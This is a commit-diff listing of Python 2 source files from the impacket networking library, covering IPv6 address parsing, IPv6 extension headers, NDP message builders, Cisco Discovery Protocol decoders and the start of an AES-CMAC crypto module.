#Insert leading zeroes where needed
address = self.__insert_leading_zeroes(address)
#Sanity check
if len(address) != self.ADDRESS_TEXT_SIZE:
raise Exception('IP6_Address - from_string - address size != ' + str(self.ADDRESS_TEXT_SIZE))
#Split address into hex groups
hex_groups = address.split(self.SEPARATOR)
if len(hex_groups) != self.TOTAL_HEX_GROUPS:
raise Exception('IP6_Address - parsed hex groups != ' + str(self.TOTAL_HEX_GROUPS))
#For each hex group, convert it into integer words
offset = 0
for group in hex_groups:
if len(group) != self.HEX_GROUP_SIZE:
raise Exception('IP6_Address - parsed hex group length != ' + str(self.HEX_GROUP_SIZE))
group_as_int = int(group, 16)
self.__bytes[offset] = (group_as_int & 0xFF00) >> 8
self.__bytes[offset + 1] = (group_as_int & 0x00FF)
offset += 2
def __from_bytes(self, bytes):
if len(bytes) != self.ADDRESS_BYTE_SIZE:
raise Exception ("IP6_Address - from_bytes - array size != " + str(self.ADDRESS_BYTE_SIZE))
self.__bytes = bytes
#############################################################################################################
# Projectors
def as_string(self, compress_address = True, scoped_address = True):
s = ""
for i, v in enumerate(self.__bytes):
s += hex(v)[2:].rjust(2, '0')
if (i % 2 == 1):
s += self.SEPARATOR
s = s[:-1].upper()
if (compress_address):
s = self.__trim_leading_zeroes(s)
s = self.__trim_longest_zero_chain(s)
if (scoped_address and self.get_scope_id() != ""):
s += self.SCOPE_SEPARATOR + self.__scope_id
return s
def as_bytes(self):
return self.__bytes
def __str__(self):
return self.as_string()
def get_scope_id(self):
return self.__scope_id
def get_unscoped_address(self):
return self.as_string(True, False) #Compressed address = True, Scoped address = False
#############################################################################################################
# Semantic helpers
def is_multicast(self):
return self.__bytes[0] == 0xFF
def is_unicast(self):
return self.__bytes[0] == 0xFE
def is_link_local_unicast(self):
return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0x80)
def is_site_local_unicast(self):
return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0xC0)
def is_unique_local_unicast(self):
return (self.__bytes[0] == 0xFD)
def get_human_readable_address_type(self):
if (self.is_multicast()):
return "multicast"
elif (self.is_unicast()):
if (self.is_link_local_unicast()):
return "link-local unicast"
elif (self.is_site_local_unicast()):
return "site-local unicast"
else:
return "unicast"
elif (self.is_unique_local_unicast()):
return "unique-local unicast"
else:
return "unknown type"
#############################################################################################################
#Expansion helpers
#Predicate - returns whether an address is in compressed form
def __is_address_in_compressed_form(self, address):
#Sanity check - triple colon detection (not detected by searches of double colon)
if address.count(self.SEPARATOR * 3) > 0:
raise Exception('IP6_Address - found triple colon')
#Count the double colon marker
compression_marker_count = self.__count_compression_marker(address)
if compression_marker_count == 0:
return False
elif compression_marker_count == 1:
return True
else:
raise Exception('IP6_Address - more than one compression marker (\"::\") found')
#Returns how many hex groups are present, in a compressed address
def __count_compressed_groups(self, address):
trimmed_address = address.replace(self.SEPARATOR * 2, self.SEPARATOR) #Replace "::" with ":"
return trimmed_address.count(self.SEPARATOR) + 1
#Counts how many compression markers are present
def __count_compression_marker(self, address):
return address.count(self.SEPARATOR * 2) #Count occurrences of "::"
#Inserts leading zeroes in every hex group
def __insert_leading_zeroes(self, address):
hex_groups = address.split(self.SEPARATOR)
new_address = ""
for hex_group in hex_groups:
if len(hex_group) < 4:
hex_group = hex_group.rjust(4, "0")
new_address += hex_group + self.SEPARATOR
return new_address[:-1] #Trim the last colon
#Expands a compressed address
def __expand_compressed_address(self, address):
group_count = self.__count_compressed_groups(address)
groups_to_insert = self.TOTAL_HEX_GROUPS - group_count
pos = address.find(self.SEPARATOR * 2) + 1
while (groups_to_insert):
address = address[:pos] + "0000" + self.SEPARATOR + address[pos:]
pos += 5
groups_to_insert -= 1
#Replace the compression marker with a single colon
address = address.replace(self.SEPARATOR * 2, self.SEPARATOR)
return address
#############################################################################################################
#Compression helpers
def __trim_longest_zero_chain(self, address):
chain_size = 8
while (chain_size > 0):
groups = address.split(self.SEPARATOR)
start_index = -1
end_index = -1
for index, group in enumerate(groups):
#Find the first zero
if (group == "0"):
start_index = index
end_index = index
#Find the end of this chain of zeroes
while (end_index < 7 and groups[end_index + 1] == "0"):
end_index += 1
#If the zero chain matches the current size, trim it
found_size = end_index - start_index + 1
if (found_size == chain_size):
address = self.SEPARATOR.join(groups[0:start_index]) + self.SEPARATOR * 2 + self.SEPARATOR.join(groups[(end_index+1):])
return address
#No chain of this size found, try with a lower size
chain_size -= 1
return address
#Trims all leading zeroes from every hex group
def __trim_leading_zeroes(self, str):
groups = str.split(self.SEPARATOR)
str = ""
for group in groups:
group = group.lstrip("0") + self.SEPARATOR
if (group == self.SEPARATOR):
group = "0" + self.SEPARATOR
str += group
return str[:-1]
#############################################################################################################
@classmethod
def is_a_valid_text_representation(cls, text_representation):
try:
#Capitalize on the constructor's ability to detect invalid text representations of an IP6 address
ip6_address = IP6_Address(text_representation)
return True
except Exception, e:
return False
def __is_a_scoped_address(self, text_representation):
return text_representation.count(self.SCOPE_SEPARATOR) == 1
#############################################################################################################
# Informal tests
if __name__ == '__main__':
print IP6_Address("A:B:C:D:E:F:1:2").as_string()
# print IP6_Address("A:B:C:D:E:F:0:2").as_bytes()
print IP6_Address("A:B:0:D:E:F:0:2").as_string()
# print IP6_Address("A::BC:E:D").as_string(False)
print IP6_Address("A::BC:E:D").as_string()
print IP6_Address("A::BCD:EFFF:D").as_string()
print IP6_Address("FE80:0000:0000:0000:020C:29FF:FE26:E251").as_string()
# print IP6_Address("A::BCD:EFFF:D").as_bytes()
print IP6_Address("::").as_string()
print IP6_Address("1::").as_string()
print IP6_Address("::2").as_string()
# bin = [
# 0x01, 0x02, 0x03, 0x04,
# 0x01, 0x02, 0x03, 0x04,
# 0x01, 0x02, 0x03, 0x04,
# 0x01, 0x02, 0x03, 0x04]
# a = IP6_Address(bin)
# print a.as_string()
# print a
# Malformed addresses
# print IP6_Address("ABCD:EFAB:1234:1234:1234:1234:1234:12345").as_string()
# print IP6_Address(":::").as_string()
# print IP6_Address("::::").as_string()

View File

@@ -0,0 +1,326 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import array
from ImpactPacket import Header, ImpactPacketException, PacketBuffer
class IP6_Extension_Header(Header):
# --------------------------------- - - - - - - -
# | Next Header | Header Ext Len | Options
# --------------------------------- - - - - - - -
HEADER_TYPE_VALUE = -1
EXTENSION_HEADER_FIELDS_SIZE = 2
EXTENSION_HEADER_DECODER = None
def __init__(self, buffer = None):
Header.__init__(self, self.get_headers_field_size())
self._option_list = []
if buffer:
self.load_header(buffer)
else:
self.reset()
def __str__(self):
header_type = self.get_header_type()
next_header_value = self.get_next_header()
header_ext_length = self.get_header_extension_length()
s = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n"
s += "Header Type Value: " + str(header_type) + "\n"
s += "Next Header: " + str(next_header_value) + "\n"
s += "Header Extension Length: " + str(header_ext_length) + "\n"
s += "Options:\n"
for option in self._option_list:
option_str = str(option)
option_str = option_str.split('\n')
option_str = map(lambda s: (' ' * 4) + s, option_str)
s += '\n'.join(option_str) + '\n'
return s
def load_header(self, buffer):
self.set_bytes_from_string(buffer[:self.get_headers_field_size()])
remaining_bytes = (self.get_header_extension_length() + 1) * 8
remaining_bytes -= self.get_headers_field_size()
buffer = array.array('B', buffer[self.get_headers_field_size():])
if remaining_bytes > len(buffer):
raise ImpactPacketException, "Cannot load options from truncated packet"
while remaining_bytes > 0:
option_type = buffer[0]
if option_type == Option_PAD1.OPTION_TYPE_VALUE:
# Pad1
self._option_list.append(Option_PAD1())
remaining_bytes -= 1
buffer = buffer[1:]
else:
# PadN
# From RFC 2460: For N octets of padding, the Opt Data Len
# field contains the value N-2, and the Option Data consists
# of N-2 zero-valued octets.
option_length = buffer[1]
option_length += 2
self._option_list.append(Option_PADN(option_length))
remaining_bytes -= option_length
buffer = buffer[option_length:]
def reset(self):
pass
@classmethod
def get_header_type_value(cls):
return cls.HEADER_TYPE_VALUE
@classmethod
def get_extension_headers(cls):
header_types = {}
for subclass in cls.__subclasses__():
subclass_header_types = subclass.get_extension_headers()
if not subclass_header_types:
# If the subclass did not return anything it means
# that it is a leaf subclass, so we take its header
# type value
header_types[subclass.get_header_type_value()] = subclass
else:
# Else we extend the list of the obtained types
header_types.update(subclass_header_types)
return header_types
@classmethod
def get_decoder(cls):
raise RuntimeError("Class method %s.get_decoder must be overridden." % cls)
def get_header_type(self):
return self.__class__.get_header_type_value()
def get_headers_field_size(self):
return IP6_Extension_Header.EXTENSION_HEADER_FIELDS_SIZE
def get_header_size(self):
header_size = self.get_headers_field_size()
for option in self._option_list:
header_size += option.get_len()
return header_size
def get_next_header(self):
return self.get_byte(0)
def get_header_extension_length(self):
return self.get_byte(1)
def set_next_header(self, next_header):
self.set_byte(0, next_header & 0xFF)
def set_header_extension_length(self, header_extension_length):
self.set_byte(1, header_extension_length & 0xFF)
def add_option(self, option):
self._option_list.append(option)
def get_options(self):
return self._option_list
def get_packet(self):
data = self.get_data_as_string()
# Update the header length
self.set_header_extension_length(self.get_header_size() / 8 - 1)
# Build the entire extension header packet
header_bytes = self.get_buffer_as_string()
for option in self._option_list:
header_bytes += option.get_buffer_as_string()
if data:
return header_bytes + data
else:
return header_bytes
def contains(self, aHeader):
Header.contains(self, aHeader)
if isinstance(aHeader, IP6_Extension_Header):
self.set_next_header(aHeader.get_header_type())
def get_pseudo_header(self):
# The pseudo-header only contains data from the IPv6 header.
# So we pass the message to the parent until it reaches it.
return self.parent().get_pseudo_header()
class Extension_Option(PacketBuffer):
MAX_OPTION_LEN = 256
OPTION_TYPE_VALUE = -1
def __init__(self, option_type, size):
if size > Extension_Option.MAX_OPTION_LEN:
raise ImpactPacketException, "Option size of % is greater than the maximum of %d" % (size, Extension_Option.MAX_OPTION_LEN)
PacketBuffer.__init__(self, size)
self.set_option_type(option_type)
def __str__(self):
option_type = self.get_option_type()
option_length = self.get_option_length()
s = "Option Name: " + str(self.__class__.OPTION_DESCRIPTION) + "\n"
s += "Option Type: " + str(option_type) + "\n"
s += "Option Length: " + str(option_length) + "\n"
return s
def set_option_type(self, option_type):
self.set_byte(0, option_type)
def get_option_type(self):
return self.get_byte(0)
def set_option_length(self, length):
self.set_byte(1, length)
def get_option_length(self):
return self.get_byte(1)
def set_data(self, data):
self.set_option_length(len(data))
option_bytes = self.get_bytes()
option_bytes = self.get_bytes()
option_bytes[2:2+len(data)] = array.array('B', data)
self.set_bytes(option_bytes)
def get_len(self):
return len(self.get_bytes())
class Option_PAD1(Extension_Option):
OPTION_TYPE_VALUE = 0x00 # Pad1 (RFC 2460)
OPTION_DESCRIPTION = "Pad1 Option"
def __init__(self):
Extension_Option.__init__(self, Option_PAD1.OPTION_TYPE_VALUE, 1)
def get_len(self):
return 1
class Option_PADN(Extension_Option):
OPTION_TYPE_VALUE = 0x01 # Pad1 (RFC 2460)
OPTION_DESCRIPTION = "PadN Option"
def __init__(self, padding_size):
if padding_size < 2:
raise ImpactPacketException, "PadN Extension Option must be greater than 2 bytes"
Extension_Option.__init__(self, Option_PADN.OPTION_TYPE_VALUE, padding_size)
self.set_data('\x00' * (padding_size - 2))
class Basic_Extension_Header(IP6_Extension_Header):
MAX_OPTIONS_LEN = 256 * 8
MIN_HEADER_LEN = 8
MAX_HEADER_LEN = MIN_HEADER_LEN + MAX_OPTIONS_LEN
def __init__(self, buffer = None):
self.padded = False
IP6_Extension_Header.__init__(self, buffer)
def reset(self):
self.set_next_header(0)
self.set_header_extension_length(0)
self.add_padding()
def add_option(self, option):
if self.padded:
self._option_list.pop()
self.padded = False
IP6_Extension_Header.add_option(self, option)
self.add_padding()
def add_padding(self):
required_octets = 8 - (self.get_header_size() % 8)
if self.get_header_size() + required_octets > Basic_Extension_Header.MAX_HEADER_LEN:
raise Exception("Not enough space for the padding")
# Insert Pad1 or PadN to fill the necessary octets
if 0 < required_octets < 8:
if required_octets == 1:
self.add_option(Option_PAD1())
else:
self.add_option(Option_PADN(required_octets))
self.padded = True
else:
self.padded = False
class Hop_By_Hop(Basic_Extension_Header):
HEADER_TYPE_VALUE = 0x00
HEADER_EXTENSION_DESCRIPTION = "Hop By Hop Options"
@classmethod
def get_decoder(self):
import ImpactDecoder
return ImpactDecoder.HopByHopDecoder
class Destination_Options(Basic_Extension_Header):
HEADER_TYPE_VALUE = 0x3c
HEADER_EXTENSION_DESCRIPTION = "Destination Options"
@classmethod
def get_decoder(self):
import ImpactDecoder
return ImpactDecoder.DestinationOptionsDecoder
class Routing_Options(IP6_Extension_Header):
HEADER_TYPE_VALUE = 0x2b
HEADER_EXTENSION_DESCRIPTION = "Routing Options"
ROUTING_OPTIONS_HEADER_FIELDS_SIZE = 8
def reset(self):
self.set_next_header(0)
self.set_header_extension_length(0)
self.set_routing_type(0)
self.set_segments_left(0)
def __str__(self):
header_type = self.get_header_type()
next_header_value = self.get_next_header()
header_ext_length = self.get_header_extension_length()
routing_type = self.get_routing_type()
segments_left = self.get_segments_left()
s = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n"
s += "Header Type Value: " + str(header_type) + "\n"
s += "Next Header: " + str(next_header_value) + "\n"
s += "Header Extension Length: " + str(header_ext_length) + "\n"
s += "Routing Type: " + str(routing_type) + "\n"
s += "Segments Left: " + str(segments_left) + "\n"
return s
@classmethod
def get_decoder(self):
import ImpactDecoder
return ImpactDecoder.RoutingOptionsDecoder
def get_headers_field_size(self):
return Routing_Options.ROUTING_OPTIONS_HEADER_FIELDS_SIZE
def set_routing_type(self, routing_type):
self.set_byte(2, routing_type)
def get_routing_type(self):
return self.get_byte(2)
def set_segments_left(self, segments_left):
self.set_byte(3, segments_left)
def get_segments_left(self):
return self.get_byte(3)

View File

@@ -0,0 +1,166 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import array
import struct
from impacket import ImpactPacket
from ICMP6 import ICMP6
class NDP(ICMP6):
#ICMP message type numbers
ROUTER_SOLICITATION = 133
ROUTER_ADVERTISEMENT = 134
NEIGHBOR_SOLICITATION = 135
NEIGHBOR_ADVERTISEMENT = 136
REDIRECT = 137
############################################################################
# Append NDP Option helper
def append_ndp_option(self, ndp_option):
#As NDP inherits ICMP6, it is, in fact an ICMP6 "header"
#The payload (where all NDP options should reside) is a child of the header
self.child().get_bytes().extend(ndp_option.get_bytes())
############################################################################
@classmethod
def Router_Solicitation(class_object):
message_data = struct.pack('>L', 0) #Reserved bytes
return class_object.__build_message(NDP.ROUTER_SOLICITATION, message_data)
@classmethod
def Router_Advertisement(class_object, current_hop_limit,
managed_flag, other_flag,
router_lifetime, reachable_time, retransmission_timer):
flag_byte = 0x00
if (managed_flag):
flag_byte |= 0x80
if (other_flag):
flag_byte |= 0x40
message_data = struct.pack('>BBHLL', current_hop_limit, flag_byte, router_lifetime, reachable_time, retransmission_timer)
return class_object.__build_message(NDP.ROUTER_ADVERTISEMENT, message_data)
@classmethod
def Neighbor_Solicitation(class_object, target_address):
message_data = struct.pack('>L', 0) #Reserved bytes
message_data += target_address.as_bytes().tostring()
return class_object.__build_message(NDP.NEIGHBOR_SOLICITATION, message_data)
@classmethod
def Neighbor_Advertisement(class_object, router_flag, solicited_flag, override_flag, target_address):
flag_byte = 0x00
if (router_flag):
flag_byte |= 0x80
if (solicited_flag):
flag_byte |= 0x40
if (override_flag):
flag_byte |= 0x20
message_data = struct.pack('>BBBB', flag_byte, 0x00, 0x00, 0x00) #Flag byte and three reserved bytes
message_data += target_address.as_bytes().tostring()
return class_object.__build_message(NDP.NEIGHBOR_ADVERTISEMENT, message_data)
@classmethod
def Redirect(class_object, target_address, destination_address):
message_data = struct.pack('>L', 0)# Reserved bytes
message_data += target_address.as_bytes().tostring()
message_data += destination_address.as_bytes().tostring()
return class_object.__build_message(NDP.REDIRECT, message_data)
@classmethod
def __build_message(class_object, type, message_data):
#Build NDP header
ndp_packet = NDP()
ndp_packet.set_type(type)
ndp_packet.set_code(0)
#Pack payload
ndp_payload = ImpactPacket.Data()
ndp_payload.set_data(message_data)
ndp_packet.contains(ndp_payload)
return ndp_packet
class NDP_Option():
#NDP Option Type numbers
SOURCE_LINK_LAYER_ADDRESS = 1
TARGET_LINK_LAYER_ADDRESS = 2
PREFIX_INFORMATION = 3
REDIRECTED_HEADER = 4
MTU_OPTION = 5
############################################################################
@classmethod
#link_layer_address must have a size that is a multiple of 8 octets
def Source_Link_Layer_Address(class_object, link_layer_address):
return class_object.__Link_Layer_Address(NDP_Option.SOURCE_LINK_LAYER_ADDRESS, link_layer_address)
@classmethod
#link_layer_address must have a size that is a multiple of 8 octets
def Target_Link_Layer_Address(class_object, link_layer_address):
return class_object.__Link_Layer_Address(NDP_Option.TARGET_LINK_LAYER_ADDRESS, link_layer_address)
@classmethod
#link_layer_address must have a size that is a multiple of 8 octets
def __Link_Layer_Address(class_object, option_type, link_layer_address):
option_length = (len(link_layer_address) / 8) + 1
option_data = array.array("B", link_layer_address).tostring()
return class_object.__build_option(option_type, option_length, option_data)
@classmethod
#Note: if we upgraded to Python 2.6, we could use collections.namedtuples for encapsulating the arguments
#ENHANCEMENT - Prefix could be an instance of IP6_Address
def Prefix_Information(class_object, prefix_length, on_link_flag, autonomous_flag, valid_lifetime, preferred_lifetime, prefix):
flag_byte = 0x00
if (on_link_flag):
flag_byte |= 0x80
if (autonomous_flag):
flag_byte |= 0x40
option_data = struct.pack('>BBLL', prefix_length, flag_byte, valid_lifetime, preferred_lifetime)
option_data += struct.pack('>L', 0) #Reserved bytes
option_data += array.array("B", prefix).tostring()
option_length = 4
return class_object.__build_option(NDP_Option.PREFIX_INFORMATION, option_length, option_data)
@classmethod
def Redirected_Header(class_object, original_packet):
option_data = struct.pack('>BBBBBB', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)# Reserved bytes
option_data += array.array("B", original_packet).tostring()
option_length = (len(option_data) + 4) / 8
return class_object.__build_option(NDP_Option.REDIRECTED_HEADER, option_length, option_data)
@classmethod
def MTU(class_object, mtu):
option_data = struct.pack('>BB', 0x00, 0x00)# Reserved bytes
option_data += struct.pack('>L', mtu)
option_length = 1
return class_object.__build_option(NDP_Option.MTU_OPTION, option_length, option_data)
@classmethod
def __build_option(class_object, type, length, option_data):
#Pack data
data_bytes = struct.pack('>BB', type, length)
data_bytes += option_data
ndp_option = ImpactPacket.Data()
ndp_option.set_data(data_bytes)
return ndp_option

View File

@@ -0,0 +1,25 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Set default logging handler to avoid "No handler found" warnings.
import logging
try: # Python 2.7+
from logging import NullHandler
except ImportError:
class NullHandler(logging.Handler):
def emit(self, record):
pass
# All modules inside this library MUST use this logger (impacket)
# It is up to the library consumer to do whatever is wanted
# with the logger output. By default it is forwarded to the
# upstream logger
LOG = logging.getLogger(__name__)
LOG.addHandler(NullHandler())

View File

@@ -0,0 +1,499 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Cisco Discovery Protocol packet codecs.
#
# Author:
# Martin Candurra
# martincad at corest.com
from struct import unpack
import socket
from ImpactPacket import Header
from impacket import LOG
IP_ADDRESS_LENGTH = 4
class CDPTypes:
DeviceID_Type = 1
Address_Type = 2
PortID_Type = 3
Capabilities_Type = 4
SoftVersion_Type = 5
Platform_Type = 6
IPPrefix_Type = 7
ProtocolHello_Type = 8
MTU_Type = 17
SystemName_Type = 20
SystemObjectId_Type = 21
SnmpLocation = 23
class CDP(Header):
Type = 0x2000
OUI = 0x00000c
def __init__(self, aBuffer = None):
Header.__init__(self, 8)
if aBuffer:
self.load_header(aBuffer)
self._elements = self._getElements(aBuffer)
def _getElements(self, aBuffer):
# Remove version (1 byte), TTL (1 byte), and checksum (2 bytes)
buff = aBuffer[4:]
l = []
finish = False
while buff:
elem = CDPElementFactory.create(buff)
data = elem.get_data()
l.append( elem )
buff = buff[ elem.get_length() : ]
return l
def get_header_size(self):
return 8
def get_version(self):
return self.get_byte(0)
def get_ttl(self):
return self.get_byte(1)
def get_checksum(self):
return self.get_word(2)
def get_type(self):
return self.get_word(4)
def get_lenght(self):
return self.get_word(6)
def getElements(self):
return self._elements
def __str__(self):
knowcode = 0
tmp_str = 'CDP Details:\n'
for element in self._elements:
tmp_str += "** Type:" + str(element.get_type()) + " " + str(element) + "\n"
return tmp_str
def get_byte(buffer, offset):
return unpack("!B", buffer[offset:offset+1])[0]
def get_word(buffer, offset):
return unpack("!h", buffer[offset:offset+2])[0]
def get_long(buffer, offset):
return unpack("!I", buffer[offset:offset+4])[0]
def get_bytes(buffer, offset, bytes):
return buffer[offset:offset + bytes]
def mac_to_string(mac_bytes):
bytes = unpack('!BBBBBB', mac_bytes)
s = ''
for byte in bytes:
s += '%02x:' % byte
return s[0:-1]
class CDPElement(Header):
def __init__(self, aBuffer = None):
Header.__init__(self, 8)
if aBuffer:
self._length = CDPElement.Get_length(aBuffer)
self.load_header( aBuffer[:self._length] )
@classmethod
def Get_length(cls, aBuffer):
return unpack('!h', aBuffer[2:4])[0]
def get_header_size(self):
self._length
def get_length(self):
return self.get_word(2)
def get_data(self):
return self.get_bytes().tostring()[4:self.get_length()]
def get_ip_address(self, offset = 0, ip = None):
if not ip:
ip = self.get_bytes().tostring()[offset : offset + IP_ADDRESS_LENGTH]
return socket.inet_ntoa( ip )
class CDPDevice(CDPElement):
Type = 1
def get_type(self):
return CDPDevice.Type
def get_device_id(self):
return CDPElement.get_data(self)
def __str__(self):
return "Device:" + self.get_device_id()
class Address(CDPElement):
Type = 2
def __init__(self, aBuffer = None):
CDPElement.__init__(self, aBuffer)
if aBuffer:
data = self.get_bytes().tostring()[8:]
self._generateAddressDetails(data)
def _generateAddressDetails(self, buff):
self.address_details = []
while buff:
address = AddressDetails.create(buff)
self.address_details.append( address )
buff = buff[address.get_total_length():]
def get_type(self):
return Address.Type
def get_number(self):
return self.get_long(4)
def get_address_details(self):
return self.address_details
def __str__(self):
tmp_str = "Addresses:"
for address_detail in self.address_details:
tmp_str += "\n" + str(address_detail)
return tmp_str
class AddressDetails():
PROTOCOL_IP = 0xcc
@classmethod
def create(cls, buff):
a = AddressDetails(buff)
return a
def __init__(self, aBuffer = None):
if aBuffer:
addr_length = unpack("!h", aBuffer[3:5])[0]
self.total_length = addr_length + 5
self.buffer = aBuffer[:self.total_length]
def get_total_length(self):
return self.total_length
def get_protocol_type(self):
return self.buffer[0:1]
def get_protocol_length(self):
return get_byte( self.buffer, 1)
def get_protocol(self):
return get_byte( self.buffer, 2)
def get_address_length(self):
return get_word( self.buffer, 3)
def get_address(self):
address = get_bytes( self.buffer, 5, self.get_address_length() )
if self.get_protocol()==AddressDetails.PROTOCOL_IP:
return socket.inet_ntoa(address)
else:
LOG.error("Address not IP")
return address
def is_protocol_IP(self):
return self.get_protocol()==AddressDetails.PROTOCOL_IP
def __str__(self):
return "Protocol Type:%r Protocol:%r Address Length:%r Address:%s" % (self.get_protocol_type(), self.get_protocol(), self.get_address_length(), self.get_address())
class Port(CDPElement):
Type = 3
def get_type(self):
return Port.Type
def get_port(self):
return CDPElement.get_data(self)
def __str__(self):
return "Port:" + self.get_port()
class Capabilities(CDPElement):
Type = 4
def __init__(self, aBuffer = None):
CDPElement.__init__(self, aBuffer)
self._capabilities_processed = False
self._router = False
self._transparent_bridge = False
self._source_route_bridge = False
self._switch = False
self._host = False
self._igmp_capable = False
self._repeater = False
self._init_capabilities()
def get_type(self):
return Capabilities.Type
def get_capabilities(self):
return CDPElement.get_data(self)
def _init_capabilities(self):
if self._capabilities_processed:
return
capabilities = unpack("!L", self.get_capabilities())[0]
self._router = (capabilities & 0x1) > 0
self._transparent_bridge = (capabilities & 0x02) > 0
self._source_route_bridge = (capabilities & 0x04) > 0
self._switch = (capabilities & 0x08) > 0
self._host = (capabilities & 0x10) > 0
self._igmp_capable = (capabilities & 0x20) > 0
self._repeater = (capabilities & 0x40) > 0
def is_router(self):
return self._router
def is_transparent_bridge(self):
return self._transparent_bridge
def is_source_route_bridge(self):
return self._source_route_bridge
def is_switch(self):
return self._switch
def is_host(self):
return self.is_host
def is_igmp_capable(self):
return self._igmp_capable
def is_repeater(self):
return self._repeater
def __str__(self):
return "Capabilities:" + self.get_capabilities()
class SoftVersion(CDPElement):
Type = 5
def get_type(self):
return SoftVersion.Type
def get_version(self):
return CDPElement.get_data(self)
def __str__(self):
return "Version:" + self.get_version()
class Platform(CDPElement):
Type = 6
def get_type(self):
return Platform.Type
def get_platform(self):
return CDPElement.get_data(self)
def __str__(self):
return "Platform:%r" % self.get_platform()
class IpPrefix(CDPElement):
Type = 7
def get_type(self):
return IpPrefix .Type
def get_ip_prefix(self):
return CDPElement.get_ip_address(self, 4)
def get_bits(self):
return self.get_byte(8)
def __str__(self):
return "IP Prefix/Gateway: %r/%d" % (self.get_ip_prefix(), self.get_bits())
class ProtocolHello(CDPElement):
Type = 8
def get_type(self):
return ProtocolHello.Type
def get_master_ip(self):
return self.get_ip_address(9)
def get_version(self):
return self.get_byte(17)
def get_sub_version(self):
return self.get_byte(18)
def get_status(self):
return self.get_byte(19)
def get_cluster_command_mac(self):
return self.get_bytes().tostring()[20:20+6]
def get_switch_mac(self):
return self.get_bytes().tostring()[28:28+6]
def get_management_vlan(self):
return self.get_word(36)
def __str__(self):
return "\n\n\nProcolHello: Master IP:%s version:%r subversion:%r status:%r Switch's Mac:%r Management VLAN:%r" \
% (self.get_master_ip(), self.get_version(), self.get_sub_version(), self.get_status(), mac_to_string(self.get_switch_mac()), self.get_management_vlan())
class VTPManagementDomain(CDPElement):
Type = 9
def get_type(self):
return VTPManagementDomain.Type
def get_domain(self):
return CDPElement.get_data(self)
class Duplex(CDPElement):
Type = 0xb
def get_type(self):
return Duplex.Type
def get_duplex(self):
return CDPElement.get_data(self)
def is_full_duplex(self):
return self.get_duplex()==0x1
class VLAN(CDPElement):
Type = 0xa
def get_type(self):
return VLAN.Type
def get_vlan_number(self):
return CDPElement.get_data(self)
class TrustBitmap(CDPElement):
Type = 0x12
def get_type(self):
return TrustBitmap.Type
def get_trust_bitmap(self):
return self.get_data()
def __str__(self):
return "TrustBitmap Trust Bitmap:%r" % self.get_trust_bitmap()
class UntrustedPortCoS(CDPElement):
Type = 0x13
def get_type(self):
return UntrustedPortCoS.Type
def get_port_CoS(self):
return self.get_data()
def __str__(self):
return "UntrustedPortCoS port CoS %r" % self.get_port_CoS()
class ManagementAddresses(Address):
Type = 0x16
def get_type(self):
return ManagementAddresses.Type
class MTU(CDPElement):
Type = 0x11
def get_type(self):
return MTU.Type
class SystemName(CDPElement):
Type = 0x14
def get_type(self):
return SystemName.Type
class SystemObjectId(CDPElement):
Type = 0x15
def get_type(self):
return SystemObjectId.Type
class SnmpLocation(CDPElement):
Type = 0x17
def get_type(self):
return SnmpLocation.Type
class DummyCdpElement(CDPElement):
Type = 0x99
def get_type(self):
return DummyCdpElement.Type
class CDPElementFactory():
elementTypeMap = {
CDPDevice.Type : CDPDevice,
Port.Type : Port,
Capabilities.Type : Capabilities,
Address.Type : Address,
SoftVersion.Type : SoftVersion,
Platform.Type : Platform,
IpPrefix.Type : IpPrefix,
ProtocolHello.Type : ProtocolHello,
VTPManagementDomain.Type : VTPManagementDomain,
VLAN.Type : VLAN,
Duplex.Type : Duplex,
TrustBitmap.Type : TrustBitmap,
UntrustedPortCoS.Type : UntrustedPortCoS,
ManagementAddresses.Type : ManagementAddresses,
MTU.Type : MTU,
SystemName.Type : SystemName,
SystemObjectId.Type : SystemObjectId,
SnmpLocation.Type : SnmpLocation
}
@classmethod
def create(cls, aBuffer):
# print "CDPElementFactory.create aBuffer:", repr(aBuffer)
# print "CDPElementFactory.create sub_type:", repr(aBuffer[0:2])
_type = unpack("!h", aBuffer[0:2])[0]
# print "CDPElementFactory.create _type:", _type
try:
class_type = cls.elementTypeMap[_type]
except KeyError:
class_type = DummyCdpElement
#raise Exception("CDP Element type %s not implemented" % _type)
return class_type( aBuffer )

View File

@@ -0,0 +1,471 @@
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (beto@coresecurity.com)
#
# Description:
# RFC 4493 implementation (http://www.ietf.org/rfc/rfc4493.txt)
# RFC 4615 implementation (http://www.ietf.org/rfc/rfc4615.txt)
#
# NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation
# (http://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108)
#
# [MS-LSAD] Section 5.1.2
# [MS-SAMR] Section 2.2.11.1.1
from impacket import LOG
try:
from Crypto.Cipher import DES, AES, ARC4
except Exception:
LOG.error("Warning: You don't have any crypto installed. You need PyCrypto")
LOG.error("See http://www.pycrypto.org/")
from struct import pack, unpack
from impacket.structure import Structure
import hmac, hashlib
def Generate_Subkey(K):
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + Algorithm Generate_Subkey +
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# + +
# + Input : K (128-bit key) +
# + Output : K1 (128-bit first subkey) +
# + K2 (128-bit second subkey) +
# +-------------------------------------------------------------------+
# + +
# + Constants: const_Zero is 0x00000000000000000000000000000000 +
# + const_Rb is 0x00000000000000000000000000000087 +
# + Variables: L for output of AES-128 applied to 0^128 +
# + +
